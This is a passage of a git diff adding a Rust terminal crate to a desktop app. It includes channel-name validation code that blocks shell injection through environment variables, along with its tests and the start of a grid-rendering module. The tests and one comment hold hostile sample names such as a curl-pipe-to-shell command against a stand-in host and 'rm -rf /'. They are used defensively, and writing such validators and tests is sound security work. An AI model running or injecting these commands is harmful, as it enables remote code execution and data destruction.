"signal-hook-registry",
|
"signal-hook-registry",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "signal-hook"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b2a0c28ca5908dbdbcd52e6fdaa00358ab88637f8ab33e1f188dd510eb44b53d"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"signal-hook-registry",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "signal-hook-mio"
|
name = "signal-hook-mio"
|
||||||
version = "0.2.5"
|
version = "0.2.5"
|
||||||
@@ -9365,7 +9503,7 @@ checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"libc",
|
"libc",
|
||||||
"mio",
|
"mio",
|
||||||
"signal-hook",
|
"signal-hook 0.3.18",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -9721,7 +9859,7 @@ version = "0.2.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025"
|
checksum = "2a8f8038e7e7969abb3f1b7c2a811225e9296da208539e0f79c5251d6cac0025"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"vte",
|
"vte 0.14.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -10583,7 +10721,7 @@ dependencies = [
|
|||||||
"bitflags 2.13.0",
|
"bitflags 2.13.0",
|
||||||
"parking_lot",
|
"parking_lot",
|
||||||
"rustix 1.1.4",
|
"rustix 1.1.4",
|
||||||
"signal-hook",
|
"signal-hook 0.3.18",
|
||||||
"windows-sys 0.61.2",
|
"windows-sys 0.61.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -10634,7 +10772,7 @@ dependencies = [
|
|||||||
"pest_derive",
|
"pest_derive",
|
||||||
"phf 0.11.3",
|
"phf 0.11.3",
|
||||||
"sha2 0.10.9",
|
"sha2 0.10.9",
|
||||||
"signal-hook",
|
"signal-hook 0.3.18",
|
||||||
"siphasher",
|
"siphasher",
|
||||||
"terminfo",
|
"terminfo",
|
||||||
"termios",
|
"termios",
|
||||||
@@ -11763,6 +11901,19 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "vte"
|
||||||
|
version = "0.15.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a5924018406ce0063cd67f8e008104968b74b563ee1b85dde3ed1f7cb87d3dbd"
|
||||||
|
dependencies = [
|
||||||
|
"arrayvec",
|
||||||
|
"bitflags 2.13.0",
|
||||||
|
"cursor-icon",
|
||||||
|
"log",
|
||||||
|
"memchr",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "vtparse"
|
name = "vtparse"
|
||||||
version = "0.6.2"
|
version = "0.6.2"
|
||||||
@@ -12833,6 +12984,15 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winreg"
|
||||||
|
version = "0.10.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
|
||||||
|
dependencies = [
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winreg"
|
name = "winreg"
|
||||||
version = "0.55.0"
|
version = "0.55.0"
|
||||||
|
|||||||
@@ -1,4 +1,9 @@
|
|||||||
[workspace]
|
[workspace]
|
||||||
|
# Explicit: membership must NOT be inferred from the path-dependency edge below.
|
||||||
|
# With a bare `[workspace]` and no `members`, `cargo test/check --workspace`
|
||||||
|
# expands to a set that excludes this crate, and its gates pass green-and-empty
|
||||||
|
# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`.
|
||||||
|
members = ["crates/buzz-terminal"]
|
||||||
|
|
||||||
[package]
|
[package]
|
||||||
name = "buzz-desktop"
|
name = "buzz-desktop"
|
||||||
@@ -100,6 +105,8 @@ buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona
|
|||||||
buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
|
buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
|
||||||
buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
|
buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
|
||||||
buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
|
buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
|
||||||
|
buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" }
|
||||||
|
portable-pty = "0.9"
|
||||||
iroh = { version = "1.0.2", optional = true }
|
iroh = { version = "1.0.2", optional = true }
|
||||||
mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
|
mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
|
||||||
mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }
|
mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }
|
||||||
|
|||||||
18
desktop/src-tauri/crates/buzz-terminal/Cargo.toml
Normal file
18
desktop/src-tauri/crates/buzz-terminal/Cargo.toml
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
[package]
|
||||||
|
name = "buzz-terminal"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
license = "Apache-2.0"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
alacritty_terminal = { version = "0.26.0", default-features = false }
|
||||||
|
parking_lot = "0.12"
|
||||||
|
portable-pty = "0.9"
|
||||||
|
|
||||||
|
[target.'cfg(unix)'.dependencies]
|
||||||
|
libc = "0.2"
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
# Tests reach into the grid to prove content survived a frame.
|
||||||
|
alacritty_terminal = { version = "0.26.0", default-features = false }
|
||||||
|
parking_lot = "0.12"
|
||||||
103
desktop/src-tauri/crates/buzz-terminal/src/context.rs
Normal file
103
desktop/src-tauri/crates/buzz-terminal/src/context.rs
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
//! GUI context injected into the child shell.
|
||||||
|
//!
|
||||||
|
//! The terminal knows which channel and thread the user is looking at, so a
|
||||||
|
//! script in the substrate can act on it. That context crosses a trust
|
||||||
|
//! boundary: a channel *name* is attacker-controlled — anyone who can create
|
||||||
|
//! a channel picks the string — and it lands in an environment variable that
|
||||||
|
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
|
||||||
|
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
|
||||||
|
//! user opens a terminal.
|
||||||
|
//!
|
||||||
|
//! Two rules follow, and the second one is the load-bearing one:
|
||||||
|
//!
|
||||||
|
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
|
||||||
|
//! endless negotiation with an attacker who chooses the input. We accept a
|
||||||
|
//! conservative character class and reject everything else.
|
||||||
|
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
|
||||||
|
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
|
||||||
|
//! `evil`, which looks like a real channel. We substitute the channel UUID,
|
||||||
|
//! which is unambiguous, always safe, and visibly not a name — the user can
|
||||||
|
//! tell something was replaced.
|
||||||
|
|
||||||
|
/// Maximum accepted channel-name length, in characters.
|
||||||
|
const MAX_CHANNEL_NAME_CHARS: usize = 64;
|
||||||
|
|
||||||
|
/// The GUI state a spawned terminal is told about.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct GuiContext {
|
||||||
|
pub channel_id: String,
|
||||||
|
pub channel_name: String,
|
||||||
|
pub thread_id: Option<String>,
|
||||||
|
pub npub: String,
|
||||||
|
pub relay_url: String,
|
||||||
|
pub session_id: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
|
||||||
|
///
|
||||||
|
/// Unicode letters, digits and marks are accepted so non-Latin channel names
|
||||||
|
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
|
||||||
|
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
|
||||||
|
/// class and therefore rejected rather than removed.
|
||||||
|
fn is_safe_channel_name(name: &str) -> bool {
|
||||||
|
!name.is_empty()
|
||||||
|
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
|
||||||
|
&& name
|
||||||
|
.chars()
|
||||||
|
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
|
||||||
|
/// the channel UUID.
|
||||||
|
pub fn channel_display(context: &GuiContext) -> &str {
|
||||||
|
if is_safe_channel_name(&context.channel_name) {
|
||||||
|
&context.channel_name
|
||||||
|
} else {
|
||||||
|
&context.channel_id
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns true if `key` is a well-formed POSIX env var name:
|
||||||
|
/// `[A-Za-z_][A-Za-z0-9_]*`.
|
||||||
|
///
|
||||||
|
/// Mirrors `is_well_formed_env_key` in the desktop crate
|
||||||
|
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
|
||||||
|
/// `CommandBuilder::env` will pass a key containing `=` straight into the
|
||||||
|
/// child's environ block, where `getenv("FOO")` matches whatever follows the
|
||||||
|
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
|
||||||
|
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
|
||||||
|
/// forge a variable the fence otherwise controls.
|
||||||
|
///
|
||||||
|
/// Every key we inject is a compile-time literal today, so this cannot fire
|
||||||
|
/// yet. It is here because the *next* injected key may not be: the check
|
||||||
|
/// belongs at the boundary, not in the reviewer's memory.
|
||||||
|
pub fn is_well_formed_env_key(key: &str) -> bool {
|
||||||
|
let mut chars = key.chars();
|
||||||
|
match chars.next() {
|
||||||
|
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
|
||||||
|
_ => return false,
|
||||||
|
}
|
||||||
|
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The context variables to inject, in order.
|
||||||
|
///
|
||||||
|
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
|
||||||
|
/// always the UUID, so a script that needs an unambiguous identifier has one
|
||||||
|
/// that no channel name can spoof.
|
||||||
|
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
|
||||||
|
let mut vars = vec![
|
||||||
|
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
|
||||||
|
("BUZZ_CHANNEL", channel_display(context).to_owned()),
|
||||||
|
("BUZZ_NPUB", context.npub.clone()),
|
||||||
|
("BUZZ_RELAY_URL", context.relay_url.clone()),
|
||||||
|
("BUZZ_TERM_SESSION", context.session_id.clone()),
|
||||||
|
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
|
||||||
|
];
|
||||||
|
// Absent rather than empty when the user is not in a thread: `-n
|
||||||
|
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
|
||||||
|
if let Some(thread_id) = &context.thread_id {
|
||||||
|
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
|
||||||
|
}
|
||||||
|
vars
|
||||||
|
}
|
||||||
139
desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs
Normal file
139
desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
//! T-1: the channel name is attacker-controlled and reaches a shell.
|
||||||
|
|
||||||
|
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
|
||||||
|
|
||||||
|
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
|
||||||
|
|
||||||
|
fn context_named(channel_name: &str) -> GuiContext {
|
||||||
|
GuiContext {
|
||||||
|
channel_id: UUID.to_owned(),
|
||||||
|
channel_name: channel_name.to_owned(),
|
||||||
|
thread_id: None,
|
||||||
|
npub: "npub1example".to_owned(),
|
||||||
|
relay_url: "wss://relay.example".to_owned(),
|
||||||
|
session_id: "session-1".to_owned(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Ordinary names survive intact, including non-Latin scripts. A validator
|
||||||
|
/// that rejected these would be "safe" and useless.
|
||||||
|
#[test]
|
||||||
|
fn benign_channel_names_pass_through_unchanged() {
|
||||||
|
for name in [
|
||||||
|
"buzz-tui",
|
||||||
|
"General Chat",
|
||||||
|
"release_2.0",
|
||||||
|
"日本語チャンネル",
|
||||||
|
"Ünicode Ñames",
|
||||||
|
] {
|
||||||
|
let context = context_named(name);
|
||||||
|
assert_eq!(channel_display(&context), name, "rejected a benign name");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
|
||||||
|
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
|
||||||
|
/// indistinguishable from a real channel called `evil`.
|
||||||
|
#[test]
|
||||||
|
fn hostile_channel_names_are_replaced_by_the_uuid() {
|
||||||
|
for name in [
|
||||||
|
"$(curl evil.sh|sh)",
|
||||||
|
"`id`",
|
||||||
|
"a; rm -rf /",
|
||||||
|
"a\nPS1=pwned",
|
||||||
|
"a$IFS$9",
|
||||||
|
"x=y",
|
||||||
|
"'; echo pwned; '",
|
||||||
|
"a\0b",
|
||||||
|
] {
|
||||||
|
let context = context_named(name);
|
||||||
|
let shown = channel_display(&context);
|
||||||
|
assert_eq!(
|
||||||
|
shown, UUID,
|
||||||
|
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The substitution must be *whole*, not a filtered version of the input. A
|
||||||
|
/// strip-sanitizer passes the "no metacharacters" check while still echoing
|
||||||
|
/// attacker-chosen text.
|
||||||
|
#[test]
|
||||||
|
fn rejection_substitutes_rather_than_strips() {
|
||||||
|
let context = context_named("$(curl evil.sh|sh)");
|
||||||
|
let shown = channel_display(&context);
|
||||||
|
assert!(
|
||||||
|
!shown.contains("curl") && !shown.contains("evil"),
|
||||||
|
"attacker-chosen text survived rejection: {shown:?}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Over-long names are rejected: an env var is not a place for unbounded
|
||||||
|
/// attacker input, and a 10 KB prompt is its own denial of service.
|
||||||
|
#[test]
|
||||||
|
fn over_long_channel_names_are_replaced() {
|
||||||
|
let context = context_named(&"a".repeat(65));
|
||||||
|
assert_eq!(channel_display(&context), UUID);
|
||||||
|
let ok = context_named(&"a".repeat(64));
|
||||||
|
assert_eq!(channel_display(&ok), "a".repeat(64));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
|
||||||
|
/// channel name can spoof — including a channel *named* like a UUID.
|
||||||
|
#[test]
|
||||||
|
fn channel_id_is_never_the_name() {
|
||||||
|
let context = context_named("11111111-2222-3333-4444-555555555555");
|
||||||
|
let vars = context_vars(&context);
|
||||||
|
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
id.1, UUID,
|
||||||
|
"a UUID-shaped channel name displaced the real id"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
|
||||||
|
#[test]
|
||||||
|
fn thread_id_is_absent_when_there_is_no_thread() {
|
||||||
|
let vars = context_vars(&context_named("buzz-tui"));
|
||||||
|
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
|
||||||
|
|
||||||
|
let mut context = context_named("buzz-tui");
|
||||||
|
context.thread_id = Some("thread-1".to_owned());
|
||||||
|
let vars = context_vars(&context);
|
||||||
|
assert_eq!(
|
||||||
|
vars.iter()
|
||||||
|
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
|
||||||
|
.map(|(_, v)| v.as_str()),
|
||||||
|
Some("thread-1")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Every injected key must be POSIX-shaped. A key containing `=` would let
|
||||||
|
/// the value forge a second variable in the child's environ block.
|
||||||
|
#[test]
|
||||||
|
fn every_injected_key_is_well_formed() {
|
||||||
|
for (key, _) in context_vars(&context_named("buzz-tui")) {
|
||||||
|
assert!(
|
||||||
|
is_well_formed_env_key(key),
|
||||||
|
"malformed injected key: {key:?}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The guard itself, including the bypass shape it exists for.
|
||||||
|
#[test]
|
||||||
|
fn well_formed_key_rejects_the_equals_bypass() {
|
||||||
|
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
|
||||||
|
assert!(is_well_formed_env_key(good), "rejected {good:?}");
|
||||||
|
}
|
||||||
|
for bad in [
|
||||||
|
"BUZZ_CHANNEL=x",
|
||||||
|
"",
|
||||||
|
"1LEADING_DIGIT",
|
||||||
|
"HAS SPACE",
|
||||||
|
"HAS\0NUL",
|
||||||
|
"kebab-case",
|
||||||
|
] {
|
||||||
|
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
483
desktop/src-tauri/crates/buzz-terminal/src/damage.rs
Normal file
483
desktop/src-tauri/crates/buzz-terminal/src/damage.rs
Normal file
@@ -0,0 +1,483 @@
|
|||||||
|
//! Turning grid changes into frames for the renderer.
|
||||||
|
//!
|
||||||
|
//! Two rules shape this module, both measured:
|
||||||
|
//!
|
||||||
|
//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
|
||||||
|
//! caller copies rows out; encoding, hashing and serializing run after the
|
||||||
|
//! lock is released. Encoding inline costs ~75x in lock hold.
|
||||||
|
//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
|
||||||
|
//! call, so an idle terminal reports damage nearly every frame. Per-line
|
||||||
|
//! content hashing suppresses those, so the transport never sees a no-op.
|
||||||
|
//!
|
||||||
|
//! # Why a frame is the whole viewport
|
||||||
|
//!
|
||||||
|
//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
|
||||||
|
//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
|
||||||
|
//! row damages the whole grid. Partial damage is effectively the idle cursor.
|
||||||
|
//!
|
||||||
|
//! That is fine, and the reason is worth having here rather than in a review
|
||||||
|
//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
|
||||||
|
//! the coalescing buffer -- so its cost does not depend on how fast the child
|
||||||
|
//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
|
||||||
|
//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
|
||||||
|
//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
|
||||||
|
//! slow build log. Constant to three digits.
|
||||||
|
//!
|
||||||
|
//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
|
||||||
|
//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
|
||||||
|
//! it was optimising. It wins where nobody is watching and loses under `cat`.
|
||||||
|
//!
|
||||||
|
//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
|
||||||
|
//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
|
||||||
|
//! 400x100 is roughly 4x a typical maximised window and is where this decision
|
||||||
|
//! should be re-measured -- as a serialization/IPC question, not a damage one.
|
||||||
|
//!
|
||||||
|
//! Dedup earns its place in the interactive case rather than the streaming one:
|
||||||
|
//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
|
||||||
|
//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
|
||||||
|
//! one -- it is what the substrate does while sitting behind the GUI untouched.
|
||||||
|
|
||||||
|
use std::collections::hash_map::DefaultHasher;
|
||||||
|
use std::hash::{Hash, Hasher};
|
||||||
|
|
||||||
|
use alacritty_terminal::grid::Dimensions;
|
||||||
|
use alacritty_terminal::index::{Column, Line};
|
||||||
|
use alacritty_terminal::term::cell::{Cell, Flags};
|
||||||
|
use alacritty_terminal::term::TermDamage;
|
||||||
|
|
||||||
|
/// A run of cells sharing one visual style **and one cell width**.
|
||||||
|
///
|
||||||
|
/// # Why the consumer can position every cluster without Unicode tables
|
||||||
|
///
|
||||||
|
/// The renderer must place each display cluster at its true column, and it
|
||||||
|
/// cannot derive that from the text: no single split rule over a concatenated
|
||||||
|
/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
|
||||||
|
/// ordinary one-column cells, so it must split *per codepoint*; a keycap
|
||||||
|
/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
|
||||||
|
/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
|
||||||
|
/// not in the string.
|
||||||
|
///
|
||||||
|
/// So the run carries it instead. Within a span every cluster advances the same
|
||||||
|
/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
|
||||||
|
/// says how many clusters the text holds. The consumer's rule is arithmetic on
|
||||||
|
/// those two numbers, with no Unicode table anywhere:
|
||||||
|
///
|
||||||
|
/// ```text
|
||||||
|
/// cluster_count == 1 -> the whole text is one cluster, at `column`
|
||||||
|
/// otherwise -> cluster i is the i-th char, at `column + i * width`
|
||||||
|
/// ```
|
||||||
|
///
|
||||||
|
/// The second case is exact because a cell carrying zerowidth marks is always
|
||||||
|
/// emitted alone, so every cell in a multi-cluster span contributes exactly one
|
||||||
|
/// `char`.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct Span {
|
||||||
|
/// First column of the run.
|
||||||
|
pub column: usize,
|
||||||
|
/// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
|
||||||
|
/// combining marks follow its base character, so the renderer never sees
|
||||||
|
/// a base and its accent as separate glyphs.
|
||||||
|
pub text: String,
|
||||||
|
/// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
|
||||||
|
///
|
||||||
|
/// Uniform across the run by construction -- a width change ends the span.
|
||||||
|
/// This is what lets the consumer position clusters by computed origin
|
||||||
|
/// rather than by accumulated text advance.
|
||||||
|
pub width: u8,
|
||||||
|
/// How many display clusters [`text`](Self::text) holds.
|
||||||
|
///
|
||||||
|
/// Without this the consumer cannot distinguish a one-cluster span carrying
|
||||||
|
/// combining marks from an ordinary multi-character run, and would need a
|
||||||
|
/// Unicode zerowidth table to guess. The grid already knows, so it says.
|
||||||
|
pub cluster_count: u16,
|
||||||
|
/// Packed style: fg, bg, and attribute flags.
|
||||||
|
pub style: Style,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Span {
|
||||||
|
/// The decoding invariant, stated once: a span is either a single cluster
|
||||||
|
/// (which may hold several `char`s, as a keycap or an accented letter
|
||||||
|
/// does) or one cluster per `char`.
|
||||||
|
///
|
||||||
|
/// Exposed so consumers can assert it at a trust boundary rather than
|
||||||
|
/// restate it. The encoder checks it in debug builds on every frame.
|
||||||
|
pub fn counts_are_consistent(&self) -> bool {
|
||||||
|
self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Visual style of a span, as the renderer needs it.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||||
|
pub struct Style {
|
||||||
|
pub fg: u32,
|
||||||
|
pub bg: u32,
|
||||||
|
pub flags: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One changed row.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct RowFrame {
|
||||||
|
pub line: usize,
|
||||||
|
pub spans: Vec<Span>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The cursor, carried separately from row content.
|
||||||
|
///
|
||||||
|
/// Upstream damages the cursor's line on every `damage()` call. If the cursor
|
||||||
|
/// travelled inside the row payload, every frame would carry a row rewrite for
|
||||||
|
/// a caret that moved one column. As its own plane it costs a few bytes and
|
||||||
|
/// leaves row dedup free to suppress the row.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub struct CursorFrame {
|
||||||
|
pub line: usize,
|
||||||
|
pub column: usize,
|
||||||
|
pub visible: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// One update for the renderer.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub struct Frame {
|
||||||
|
pub rows: Vec<RowFrame>,
|
||||||
|
pub cursor: CursorFrame,
|
||||||
|
/// Whether the cursor plane changed since this encoder's previous frame.
|
||||||
|
/// Cursor movement can be the only visible effect of input (for example,
|
||||||
|
/// echoing a space over an already blank cell), so it independently makes
|
||||||
|
/// an incremental frame publishable.
|
||||||
|
pub cursor_changed: bool,
|
||||||
|
/// Whether the renderer should discard what it has and repaint.
|
||||||
|
pub full: bool,
|
||||||
|
/// The grid this frame describes. A change means the terminal was resized
|
||||||
|
/// and row indices refer to a different geometry than the previous frame's.
|
||||||
|
/// Carried so the consumer can detect that from the frame itself instead of
|
||||||
|
/// trusting that no resize overtook it in flight -- across a transport, a
|
||||||
|
/// frame captured before a resize can arrive after it.
|
||||||
|
pub viewport: crate::Viewport,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Frame {
|
||||||
|
/// True when there is nothing for the renderer to do.
|
||||||
|
pub fn is_empty(&self) -> bool {
|
||||||
|
self.rows.is_empty() && !self.cursor_changed && !self.full
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Raw rows copied out from under the lock, awaiting encode.
|
||||||
|
pub struct RawFrame {
|
||||||
|
rows: Vec<(usize, Vec<Cell>)>,
|
||||||
|
cursor: CursorFrame,
|
||||||
|
full: bool,
|
||||||
|
viewport: crate::Viewport,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The grid line a screen row reads from.
|
||||||
|
///
|
||||||
|
/// The grid indexes the active area from 0 and scrollback with *negative*
|
||||||
|
/// lines, so scrolling back `n` lines means every screen row reads `n` lines
|
||||||
|
/// higher. At the live edge the offset is zero and this is the identity, which
|
||||||
|
/// is why the unscrolled path is unchanged rather than merely equivalent.
|
||||||
|
fn row_of(screen_row: usize, display_offset: usize) -> Line {
|
||||||
|
Line(screen_row as i32 - display_offset as i32)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Where the cursor sits on screen, given how far the viewport is scrolled
|
||||||
|
/// back.
|
||||||
|
///
|
||||||
|
/// The grid keeps the cursor in *active-area* coordinates, which do not move
|
||||||
|
/// when the user scrolls; the renderer paints *screen rows*, which do. The two
|
||||||
|
/// agree only at the live edge, so the conversion has to happen somewhere, and
|
||||||
|
/// it happens here rather than in the renderer -- the renderer is not told the
|
||||||
|
/// display offset, and giving it one would put this same arithmetic on the far
|
||||||
|
/// side of a transport.
|
||||||
|
///
|
||||||
|
/// Scrolling far enough pushes the cursor off the bottom of the viewport, and
|
||||||
|
/// then it is reported as not visible. Without that clamp a caret drawn at a
|
||||||
|
/// clamped row would sit on some unrelated line of history, which reads as
|
||||||
|
/// corruption rather than as scrollback.
|
||||||
|
fn cursor_frame(
|
||||||
|
cursor_point: alacritty_terminal::index::Point,
|
||||||
|
display_offset: usize,
|
||||||
|
screen_lines: usize,
|
||||||
|
shown: bool,
|
||||||
|
) -> CursorFrame {
|
||||||
|
let line = cursor_point.line.0.max(0) as usize + display_offset;
|
||||||
|
CursorFrame {
|
||||||
|
line: line.min(screen_lines.saturating_sub(1)),
|
||||||
|
column: cursor_point.column.0,
|
||||||
|
visible: shown && line < screen_lines,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copy the damaged rows out of the terminal. **Runs under the lock; does no
|
||||||
|
/// encoding.** Keep this function boring — everything added here is lock hold.
|
||||||
|
pub fn capture(terminal: &mut crate::Terminal) -> RawFrame {
|
||||||
|
let viewport = terminal.viewport();
|
||||||
|
let display_offset = terminal.display_offset();
|
||||||
|
let term = terminal.term_mut();
|
||||||
|
let columns = term.columns();
|
||||||
|
let screen_lines = term.screen_lines();
|
||||||
|
let cursor_point = term.grid().cursor.point;
|
||||||
|
let shown = term
|
||||||
|
.mode()
|
||||||
|
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
|
||||||
|
|
||||||
|
// Upstream's partial iterator already reports **screen** rows: it offsets
|
||||||
|
